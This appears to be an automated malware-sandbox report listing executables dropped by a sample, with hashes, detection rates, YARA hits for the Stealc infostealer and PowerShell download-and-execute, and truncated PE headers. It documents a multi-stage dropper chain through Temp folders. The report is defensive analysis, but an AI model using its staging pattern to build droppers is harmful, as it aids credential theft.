Size (bytes):	919552
Entropy (8bit):	6.5846808832804395
Encrypted:	false
SSDEEP:	12288:3qDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDga/TH:3qDEvCTbMWu7rQYlBQcBiT6rprG8abH
MD5:	59B54224956FE92C6CF81FF78616CF7F
SHA1:	6B0EF89648FD13D05BC8A4F0F1F313C5186F6454
SHA-256:	BF8C8B70BC76645BA18AB3D6A37B6139AC2D298F058C519AD36D458C4EBC5607
SHA-512:	827C7E406A6E9EA198B76D3E35824777B762787CCAD743C0ECAE84DAE7CB3A0CBC254C1E208FB2BF18845A217D9035F2EB28D1314729474543DA2DF4A4F6133F
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L....!g.........."..........X......w.............@..........................`............@...@.......@.....................d...\|....@..(........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...(....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2994688
Entropy (8bit):	6.528354366318549
Encrypted:	false
SSDEEP:	49152:B/IOgOuclMO+1H9xKTssqKd/w10QQN0pHHT:B/IOgOuclMO+1H9UsJA/M0doHT
MD5:	7F339D0252F408065ABE57AC23EED91C
SHA1:	1F07E6F292500FD235EC540CB56045A3081EFA6D
SHA-256:	C94E84BEE19B31C4663F8DF36368ED87DD16E2021B5727A45C973ED8CF04DC0D
SHA-512:	B9E8C24FDCE5011437D4080BAF884065656C1F8D3760914580307FF0ADA32B008C5E44E6B0CE4BBFD7F43471DDCD8EE1E82F2DD40D776AFBAF7359C54033A4DB
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............0...........@...........................0......U....@.................................T...h.......@........................................................................................................... . .........~..................@....rsrc...@...........................@....idata ............................@...opmmjkup..+.......*.................@...dvfrhkft......0.......-.............@....taggant.0....0.."....-.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2145792
Entropy (8bit):	7.962398550854708
Encrypted:	false
SSDEEP:	24576:XvSuU3nuIQzd/KBskLatstrMZ8TfmRVbV6I3Q1e+fH74mJYI64e5nNUebDks59QD:/SZHQzoBbrtWVoWQ1zVW46msDwD
MD5:	0D30EB6A4023A6DCE770CE3D6388CB9B
SHA1:	83E8C18D4AD2B7C36D6699E7A9E25A7B552B9779
SHA-256:	7EA542ED634733C045E8D30777AE4F1C9A0A87D532F336158D36887483A6AF7C
SHA-512:	A961FAE055E2F8E69E8F0E2501B38D03282C522435E51D1A8C484C2997DF0C571AAE580D8C1D6E0EFDF95FCD32686D0BADCA1A772250EFC9E42941AE8EEBE66F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,.......s...........@..........................0s......f!...@.................................P...d................................................................................................................... . .p.......v..................@....rsrc ............................@....idata ............................@... .@*.........................@...xpxnzipx......X.....................@...atgrbfaq......r....... .............@....taggant.0....s..".... .............@...........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\num[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	888832
Entropy (8bit):	6.3790716712622695
Encrypted:	false
SSDEEP:	24576:Le1Q/llWMGNL/geFyNcTN+jv75TQn652VBuNyb:cQ/lldGJtF4ch+jvNm0Nyb
MD5:	F793D9E588C6BF51F1DAF523AB2DF1CE
SHA1:	F63CE1F9EEE9F3AE643E270C7FC854DC51D730D0
SHA-256:	A8ADDC675FCC27C94FF9E4775BB2E090F4DA1287AAE6B95CECC65CCF533BC61D
SHA-512:	4D0D8BF366F4B4793154F31AEE4983DF307B97EDC83608B76628168418D48227EB46F6213469EB4D3A088D891A143B30B3B02ACBB194DF834DA1B61D182607EB
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\num[1].exe, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\num[1].exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 96%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,......l............@.......................................@.................................X...P................................$...................................................................................text............................... ....rdata..............................@..@.data.....+.........................@....reloc..>K.......L...D..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2994688
Entropy (8bit):	6.528354366318549
Encrypted:	false
SSDEEP:	49152:B/IOgOuclMO+1H9xKTssqKd/w10QQN0pHHT:B/IOgOuclMO+1H9UsJA/M0doHT
MD5:	7F339D0252F408065ABE57AC23EED91C
SHA1:	1F07E6F292500FD235EC540CB56045A3081EFA6D
SHA-256:	C94E84BEE19B31C4663F8DF36368ED87DD16E2021B5727A45C973ED8CF04DC0D
SHA-512:	B9E8C24FDCE5011437D4080BAF884065656C1F8D3760914580307FF0ADA32B008C5E44E6B0CE4BBFD7F43471DDCD8EE1E82F2DD40D776AFBAF7359C54033A4DB
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............0...........@...........................0......U....@.................................T...h.......@........................................................................................................... . .........~..................@....rsrc...@...........................@....idata ............................@...opmmjkup..+.......*.................@...dvfrhkft......0.......-.............@....taggant.0....0.."....-.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2145792
Entropy (8bit):	7.962398550854708
Encrypted:	false
SSDEEP:	24576:XvSuU3nuIQzd/KBskLatstrMZ8TfmRVbV6I3Q1e+fH74mJYI64e5nNUebDks59QD:/SZHQzoBbrtWVoWQ1zVW46msDwD
MD5:	0D30EB6A4023A6DCE770CE3D6388CB9B
SHA1:	83E8C18D4AD2B7C36D6699E7A9E25A7B552B9779
SHA-256:	7EA542ED634733C045E8D30777AE4F1C9A0A87D532F336158D36887483A6AF7C
SHA-512:	A961FAE055E2F8E69E8F0E2501B38D03282C522435E51D1A8C484C2997DF0C571AAE580D8C1D6E0EFDF95FCD32686D0BADCA1A772250EFC9E42941AE8EEBE66F
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,.......s...........@..........................0s......f!...@.................................P...d................................................................................................................... . .p.......v..................@....rsrc ............................@....idata ............................@... .@*.........................@...xpxnzipx......X.....................@...atgrbfaq......r....... .............@....taggant.0....s..".... .............@...........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	919552
Entropy (8bit):	6.5846808832804395
Encrypted:	false
SSDEEP:	12288:3qDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDga/TH:3qDEvCTbMWu7rQYlBQcBiT6rprG8abH
MD5:	59B54224956FE92C6CF81FF78616CF7F
SHA1:	6B0EF89648FD13D05BC8A4F0F1F313C5186F6454
SHA-256:	BF8C8B70BC76645BA18AB3D6A37B6139AC2D298F058C519AD36D458C4EBC5607
SHA-512:	827C7E406A6E9EA198B76D3E35824777B762787CCAD743C0ECAE84DAE7CB3A0CBC254C1E208FB2BF18845A217D9035F2EB28D1314729474543DA2DF4A4F6133F
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L....!g.........."..........X......w.............@..........................`............@...@.......@.....................d...\|....@..(........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...(....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1002538001\num.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	888832
Entropy (8bit):	6.3790716712622695
Encrypted:	false
SSDEEP:	24576:Le1Q/llWMGNL/geFyNcTN+jv75TQn652VBuNyb:cQ/lldGJtF4ch+jvNm0Nyb
MD5:	F793D9E588C6BF51F1DAF523AB2DF1CE
SHA1:	F63CE1F9EEE9F3AE643E270C7FC854DC51D730D0
SHA-256:	A8ADDC675FCC27C94FF9E4775BB2E090F4DA1287AAE6B95CECC65CCF533BC61D
SHA-512:	4D0D8BF366F4B4793154F31AEE4983DF307B97EDC83608B76628168418D48227EB46F6213469EB4D3A088D891A143B30B3B02ACBB194DF834DA1B61D182607EB
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Users\user\AppData\Local\Temp\1002538001\num.exe, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1002538001\num.exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 96%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,......l............@.......................................@.................................X...P................................$...................................................................................text............................... ....rdata..............................@..@.data.....+.........................@....reloc..>K.......L...D..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2899456
Entropy (8bit):	6.465912538919988
Encrypted:	false
SSDEEP:	49152:c/0h+LP03PX5DwDRsPIoXwGbGyf1zOxQ0qW1kvkAz1sJF:cyQP03PX5DwDRsQIqy9zS71WkA0
MD5:	2C2EF4A8598A91D781960D9AE7D8CA86
SHA1:	15978D01DC759609DEBB3C09FFB7CF75136A2EDD
SHA-256:	6D23BF5807AFAB26BDD7802571E5D9F36BBB8CE73762B005C49737864CBFB13D
SHA-512:	5E7E8EB53B082741CF2DB7ABC37AA7FC664798ADE105991378A3C5E8A3470EEDEFB46AE9ABF0975F2D83C818FC82291592B702EB249EAC2203BC3445EAD72A57
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 34%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............,.. ...`....@.. ........................,......A,...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...mljriapp..+.......+..:..............@...mudtavgt. ....,.......,.............@....taggant.@....,.."....,.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2899456
Entropy (8bit):	6.465912538919988
Encrypted:	false
SSDEEP:	49152:c/0h+LP03PX5DwDRsPIoXwGbGyf1zOxQ0qW1kvkAz1sJF:cyQP03PX5DwDRsQIqy9zS71WkA0
MD5:	2C2EF4A8598A91D781960D9AE7D8CA86
SHA1:	15978D01DC759609DEBB3C09FFB7CF75136A2EDD
SHA-256:	6D23BF5807AFAB26BDD7802571E5D9F36BBB8CE73762B005C49737864CBFB13D
SHA-512:	5E7E8EB53B082741CF2DB7ABC37AA7FC664798ADE105991378A3C5E8A3470EEDEFB46AE9ABF0975F2D83C818FC82291592B702EB249EAC2203BC3445EAD72A57
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 34%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............,.. ...`....@.. ........................,......A,...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...mljriapp..+.......+..:..............@...mudtavgt. ....,.......,.............@....taggant.@....,.."....,.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DP4Z2JGIRNCYT3CKHONMY.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1883648
Entropy (8bit):	7.94908013949836
Encrypted:	false
SSDEEP:	24576:zbvASigrLPOWtFShEsrZTD8UeNeDpDV5Wv/YUqivrJ64Pc6p9C+NrTh7K:gzQPFvyfTGNWpOvECE76fFT
MD5:	B3D3107FAF89ED1B14EBA469E5F6442C
SHA1:	8C3CEDA065D74EDA75374CF6FD10BCA04AC9A745
SHA-256:	05FE4628EC1C9B88873BC3F3D3285657CC2B7BB7C380F9587009F09F1E55C6BD
SHA-512:	E9F27839F957AD699F4CB6546E66805F47E8E924D576CB8BB200B5235BBF5BC47402177668D2A624B9B5BA5D277F8D69C5414E36A61C40FB91A644BCC536AE86
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................J...........@...........................J..... .....@.................................W...k............................rJ..............................qJ..................................................... . ............................@....rsrc...............................@....idata ............................@... . *.........................@...jqddeztg......0.....................@...hzelrcyv......J.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1883648
Entropy (8bit):	7.94908013949836
Encrypted:	false
SSDEEP:	24576:zbvASigrLPOWtFShEsrZTD8UeNeDpDV5Wv/YUqivrJ64Pc6p9C+NrTh7K:gzQPFvyfTGNWpOvECE76fFT
MD5:	B3D3107FAF89ED1B14EBA469E5F6442C
SHA1:	8C3CEDA065D74EDA75374CF6FD10BCA04AC9A745
SHA-256:	05FE4628EC1C9B88873BC3F3D3285657CC2B7BB7C380F9587009F09F1E55C6BD
SHA-512:	E9F27839F957AD699F4CB6546E66805F47E8E924D576CB8BB200B5235BBF5BC47402177668D2A624B9B5BA5D277F8D69C5414E36A61C40FB91A644BCC536AE86
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................J...........@...........................J..... .....@.................................W...k............................rJ..............................qJ..................................................... . ............................@....rsrc...............................@....idata ............................@... . *.........................@...jqddeztg......0.....................@...hzelrcyv......J.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\W7N881PI98FKFOKWDI7HCS7W.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2899456
Entropy (8bit):	6.465912538919988
Encrypted:	false
SSDEEP:	49152:c/0h+LP03PX5DwDRsPIoXwGbGyf1zOxQ0qW1kvkAz1sJF:cyQP03PX5DwDRsQIqy9zS71WkA0
MD5:	2C2EF4A8598A91D781960D9AE7D8CA86
SHA1:	15978D01DC759609DEBB3C09FFB7CF75136A2EDD
SHA-256:	6D23BF5807AFAB26BDD7802571E5D9F36BBB8CE73762B005C49737864CBFB13D
SHA-512:	5E7E8EB53B082741CF2DB7ABC37AA7FC664798ADE105991378A3C5E8A3470EEDEFB46AE9ABF0975F2D83C818FC82291592B702EB249EAC2203BC3445EAD72A57
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 34%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............,.. ...`....@.. ........................,......A,...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...mljriapp..+.......+..:..............@...mudtavgt. ....,.......,.............@....taggant.@....,.."....,.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ZVNI3QDRJUMHB5ZEQG5Z2C.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1883648
Entropy (8bit):	7.94908013949836
Encrypted:	false
SSDEEP:	24576:zbvASigrLPOWtFShEsrZTD8UeNeDpDV5Wv/YUqivrJ64Pc6p9C+NrTh7K:gzQPFvyfTGNWpOvECE76fFT
MD5:	B3D3107FAF89ED1B14EBA469E5F6442C
SHA1:	8C3CEDA065D74EDA75374CF6FD10BCA04AC9A745
SHA-256:	05FE4628EC1C9B88873BC3F3D3285657CC2B7BB7C380F9587009F09F1E55C6BD
SHA-512:	E9F27839F957AD699F4CB6546E66805F47E8E924D576CB8BB200B5235BBF5BC47402177668D2A624B9B5BA5D277F8D69C5414E36A61C40FB91A644BCC536AE86
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................J...........@...........................J..... .....@.................................W...k............................rJ..............................qJ..................................................... . ............................@....rsrc...............................@....idata ............................@... . *.........................@...jqddeztg......0.....................@...hzelrcyv......J.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1883648
Entropy (8bit):	7.94908013949836
Encrypted:	false
SSDEEP:	24576:zbvASigrLPOWtFShEsrZTD8UeNeDpDV5Wv/YUqivrJ64Pc6p9C+NrTh7K:gzQPFvyfTGNWpOvECE76fFT
MD5:	B3D3107FAF89ED1B14EBA469E5F6442C
SHA1:	8C3CEDA065D74EDA75374CF6FD10BCA04AC9A745
SHA-256:	05FE4628EC1C9B88873BC3F3D3285657CC2B7BB7C380F9587009F09F1E55C6BD
SHA-512:	E9F27839F957AD699F4CB6546E66805F47E8E924D576CB8BB200B5235BBF5BC47402177668D2A624B9B5BA5D277F8D69C5414E36A61C40FB91A644BCC536AE86
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................J...........@...........................J..... .....@.................................W...k............................rJ..............................qJ..................................................... . ............................@....rsrc...............................@....idata ............................@... . *.........................@...jqddeztg......0.....................@...hzelrcyv......J.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-41

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ISO Media, MP4 Base Media v1 [ISO 14496-12:2003]
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.4593089050301797
Encrypted:	false
SSDEEP:	48:9SP0nUgwyZXYI65yFRX2D3GNTTfyn0Mk1iA:9SDKaIjo3UzyE1L
MD5:	D910AD167F0217587501FDCDB33CC544
SHA1:	2F57441CEFDC781011B53C1C5D29AC54835AFC1D
SHA-256:	E3699D9404A3FFC1AFF0CA8A3972DC0EF38BDAB927741E9F627C7C55CEA42E81
SHA-512:	F1871BF28FF25EE52BDB99C7A80AB715C7CAC164DCD2FD87E681168EE927FD2C5E80E03C91BB638D955A4627213BF575FF4D9EECAEDA7718C128CF2CE8F7CB3D
Malicious:	false
Preview:	... ftypisom....isomiso2avc1mp41....free....mdat..........E...H..,. .#..x264 - core 152 r2851 ba24899 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=4 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00......e...+...s\|.kG3...'.u.."...,J.w.~.d\..(K....!.+..;....h....(.T.*...M......0..~L..8..B..A.y..R..,.zBP.';j.@.].w..........c......C=.'f....gI.$^.......m5V.L...{U..%V[....8......B..i..^,....:...,..5.m.%dA....moov...lmvhd...................(...........

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\ExperimentStoreData.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4419
Entropy (8bit):	4.931272959044646
Encrypted:	false
SSDEEP:	96:gXiNFS+OcPUFEOdwNIOdwBjvYVbsL5KL8P:gXiNFS+OcUGOdwiOdwBjkYL5KL8P
MD5:	2051A1316168602811F4698E8726F7B3
SHA1:	C7BA0624A16413C8F2C29DC68F5E4DB0549BA469
SHA-256:	127FA576B023893E5CAA745E39298A5FF13F249D78ED8B8FCC1292B961D372CC
SHA-512:	48BD1B1E57E5E5941FA0E8BDC9D48EE28A74D1F2090C9D3877163480CD9E22091712F9C1776CE7B96600DBD92B05D6235B5A3A68B38EE5BC37A195C6FDFD08FB
Malicious:	false
Preview:	{"bookmarks-toolbar-default-on":{"slug":"bookmarks-toolbar-default-on","branch":{"slug":"treatment-a","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pre-95-support"},"features":[{"value":{"enableBookmarksToolbar":"always"},"enabled":true,"featureId":"bookmarks"}]},"active":true,"enrollmentId":"d48f64a8-a4ab-4cdd-a650-4b386e41a201","experimentType":"nimbus","source":"rs-loader","userFacingName":"Bookmarks Toolbar Default On","userFacingDescription":"An experiment that turns the bookmarks toolbar on by default.","lastSeen":"2023-10-05T06:20:35.557Z","featureIds":["bookmarks"],"prefs":[{"name":"browser.toolbars.bookmarks.visibility","branch":"user","featureId":"bookmarks","variable":"enableBookmarksToolbar","originalValue":null}],"isRollout":false},"csv-import-release-rollout":{"slug":"csv-import-release-rollout","branch":{"slug":"enable-csv-import","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pre-95-s

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\ExperimentStoreData.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4419
Entropy (8bit):	4.931272959044646
Encrypted:	false
SSDEEP:	96:gXiNFS+OcPUFEOdwNIOdwBjvYVbsL5KL8P:gXiNFS+OcUGOdwiOdwBjkYL5KL8P
MD5:	2051A1316168602811F4698E8726F7B3
SHA1:	C7BA0624A16413C8F2C29DC68F5E4DB0549BA469
SHA-256:	127FA576B023893E5CAA745E39298A5FF13F249D78ED8B8FCC1292B961D372CC
SHA-512:	48BD1B1E57E5E5941FA0E8BDC9D48EE28A74D1F2090C9D3877163480CD9E22091712F9C1776CE7B96600DBD92B05D6235B5A3A68B38EE5BC37A195C6FDFD08FB
Malicious:	false
Preview:	{"bookmarks-toolbar-default-on":{"slug":"bookmarks-toolbar-default-on","branch":{"slug":"treatment-a","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pre-95-support"},"features":[{"value":{"enableBookmarksToolbar":"always"},"enabled":true,"featureId":"bookmarks"}]},"active":true,"enrollmentId":"d48f64a8-a4ab-4cdd-a650-4b386e41a201","experimentType":"nimbus","source":"rs-loader","userFacingName":"Bookmarks Toolbar Default On","userFacingDescription":"An experiment that turns the bookmarks toolbar on by default.","lastSeen":"2023-10-05T06:20:35.557Z","featureIds":["bookmarks"],"prefs":[{"name":"browser.toolbars.bookmarks.visibility","branch":"user","featureId":"bookmarks","variable":"enableBookmarksToolbar","originalValue":null}],"isRollout":false},"csv-import-release-rollout":{"slug":"csv-import-release-rollout","branch":{"slug":"enable-csv-import","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pre-95-s

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\addonStartup.json.lz4 (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 22422 bytes
Category:	dropped
Size (bytes):	5308
Entropy (8bit):	6.599374203470186
Encrypted:	false
SSDEEP:	96:z2YbKsKNU2xWrp327tGmD4wBON6h6cHAHJVauvjZHjkTymdS1/qTMg6Uhm:zTx2x2t0FDJ4NpkuvjdeplTMohm
MD5:	EB56C2F4DA9435F3D5574161F414CD17
SHA1:	74A8FC3EC0559740FD9D835B638354985E2DEAB6
SHA-256:	394E803D5FF8E156DFA7D15E96B51A683F4624A1BCF88EAA532399AC2C9B0966
SHA-512:	DF90568D191C757392FB85BDDA5333C7FE7E3BB370C5DE8C50DD810B938D732E39B5608FB4494CAADAE99E1601989FDFC0FEBDCF70F27FFE581F904170A81E0F
Malicious:	false
